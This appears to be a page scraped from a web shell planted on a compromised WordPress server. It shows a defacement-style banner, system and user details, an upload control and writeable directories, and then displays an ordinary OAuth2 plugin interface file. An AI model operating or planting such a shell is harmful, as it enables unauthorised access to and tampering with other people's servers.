Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/store/wp-content/plugins/oauth2-provider/library/WPOAuth2/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/store/wp-content/plugins/oauth2-provider/library/WPOAuth2/ScopeInterface.php
<?php

namespace WPOAuth2;

use WPOAuth2\Storage\ScopeInterface as ScopeStorageInterface;

/**
 * Class to handle scope implementation logic
 *
 * @see OAuth2\Storage\ScopeInterface
 */
interface ScopeInterface extends ScopeStorageInterface {

	/**
	 * Check if everything in required scope is contained in available scope.
	 *
	 * @param $required_scope
	 * A space-separated string of scopes.
	 *
	 * @return
	 * TRUE if everything in required scope is contained in available scope,
	 * and FALSE if it isn't.
	 *
	 * @see http://tools.ietf.org/html/rfc6749#section-7
	 *
	 * @ingroup oauth2_section_7
	 */
	public function checkScope( $required_scope, $available_scope );

	/**
	 * Return scope info from request
	 *
	 * @param OAuth2\RequestInterface
	 * Request object to check
	 *
	 * @return
	 * string representation of requested scope
	 */
	public function getScopeFromRequest( RequestInterface $request );
}

Hry